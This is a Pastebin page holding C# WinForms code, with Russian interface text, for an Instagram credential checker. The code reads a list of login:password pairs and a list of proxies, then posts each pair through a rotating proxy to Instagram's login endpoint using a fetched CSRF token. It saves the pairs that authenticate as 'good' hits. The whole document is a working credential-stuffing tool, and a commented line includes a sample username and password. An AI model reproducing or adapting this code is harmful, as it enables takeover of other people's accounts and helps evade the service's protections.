Advertisement
Guest User

Untitled

a guest
Oct 12th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.18 KB | None | 0 0
  1.  
  2.  
  3. private void button1_Click(object sender, EventArgs e)
  4. {
  5. OpenFileDialog ofd = new OpenFileDialog();
  6. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  7. {
  8. FileInfo fi = new FileInfo(ofd.FileName);
  9. string path = ofd.FileName;
  10. textBox1.Text = path;
  11. listBox1.Items.Clear();
  12. string[] lines1 = File.ReadAllLines(textBox1.Text);
  13. listBox1.Items.Add("Размер базы : " + lines1.Length);
  14.  
  15. }
  16. }
  17.  
  18. private void button2_Click(object sender, EventArgs e)
  19. {
  20. OpenFileDialog ofd = new OpenFileDialog();
  21. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  22. {
  23. FileInfo fi = new FileInfo(ofd.FileName);
  24.  
  25. string path = ofd.FileName;
  26. textBox2.Text = path;
  27. string[] lines2 = File.ReadAllLines(textBox2.Text);
  28. listBox1.Items.Add("Кол-во проксей : " + lines2.Length);
  29. }
  30. }
  31.  
  32. public string login1(string basa)
  33. {
  34. string[] strs = basa.Split(':');
  35. string login = strs[0];
  36. return login;
  37. }
  38.  
  39. public string password(string basa)
  40. {
  41. string[] strs = basa.Split(':');
  42. string password = strs[1];
  43. return password;
  44. }
  45.  
  46. private void button3_Click(object sender, EventArgs e)
  47. {
  48.  
  49. int k = 0, z = 0;
  50. string p1 = textBox1.Text;
  51. string p2 = textBox2.Text;
  52. string p3 = textBox4.Text;
  53. string[] lines1 = File.ReadAllLines(p1);
  54. string[] lines2 = File.ReadAllLines(p2);
  55.  
  56. listBox1.Items.Add("Good : ");
  57. listBox1.Items.Add("Bad : ");
  58.  
  59. // var proxyClient = HttpProxyClient.Parse("127.0.0.1:8080");
  60. // var tcpClient = proxyClient.CreateConnection("habrahabr.ru", 80);
  61.  
  62. int y;
  63. // bool isInt = Int32.TryParse(textBox3.Text, out y);
  64.  
  65.  
  66. // int h = y;
  67. // if (y > lines1.Length)
  68. // {
  69. int h = lines1.Length;
  70. // }
  71.  
  72. for (int i = 0; i < h; i++)
  73. {
  74. using (var request = new HttpRequest())
  75. {
  76. var useragenT = Http.OperaUserAgent();
  77. if (lines2.Length >= i)
  78. {
  79. request.Proxy = HttpProxyClient.Parse(lines2[i]);
  80. }
  81.  
  82.  
  83. request.UserAgent = useragenT;
  84. request.AddHeader("Upgrade-Insecure-Requests", "1");
  85. var resulte = request.Get("https://www.instagram.com/?hl=ru");
  86. string content = resulte.ToString();
  87. var cookies = resulte.Cookies;
  88. var srftoken = "";
  89. foreach (var m in cookies)
  90. if (m.Key == "csrftoken")
  91. srftoken = m.Value;
  92.  
  93. request.UserAgent = useragenT;
  94. request.Cookies = cookies;
  95. request.AddHeader("X-Instagram-AJAX", "1");
  96. request.AddHeader("X-Requested-With", "XMLHttpRequest");
  97. request.AddHeader("X-CSRFToken", srftoken);
  98. request.Referer = "https://www.instagram.com/?hl=ru";
  99. //username=areyon299&password=%D0%A2%D1%88%D0%BB%D1%88%D0%B5%D1%8429
  100. string data = "username=" + login1(lines1[i]) + "&password=" + password(lines1[i]);
  101. resulte = request.Post("https://www.instagram.com/accounts/login/ajax/?hl=ru", data,
  102. "application/x-www-form-urlencoded");
  103. var txtresult = resulte.ToString();
  104.  
  105. if (txtresult.Contains("authenticated\": true"))
  106. {
  107. k++;
  108. listBox1.Items.RemoveAt(2);
  109. listBox1.Items.Insert(2, "Good : " + k);
  110. using (StreamWriter sw = File.AppendText(p3))
  111. {
  112. sw.WriteLine(login1(lines1[i]) + ":" + password(lines1[i]));
  113.  
  114. }
  115. }
  116. else
  117. {
  118. z++;
  119. listBox1.Items.RemoveAt(3);
  120. listBox1.Items.Insert(3, "Bad : " + z);
  121. }
  122.  
  123. }
  124.  
  125. }
  126. listBox1.Items.Add("Готово!");
  127.  
  128.  
  129. }
  130.  
  131. private void button4_Click(object sender, EventArgs e)
  132. {
  133. OpenFileDialog ofd = new OpenFileDialog();
  134. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  135. {
  136. FileInfo fi = new FileInfo(ofd.FileName);
  137.  
  138. string path = ofd.FileName;
  139. textBox4.Text = path;
  140. }
  141. }
  142. }
  143. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement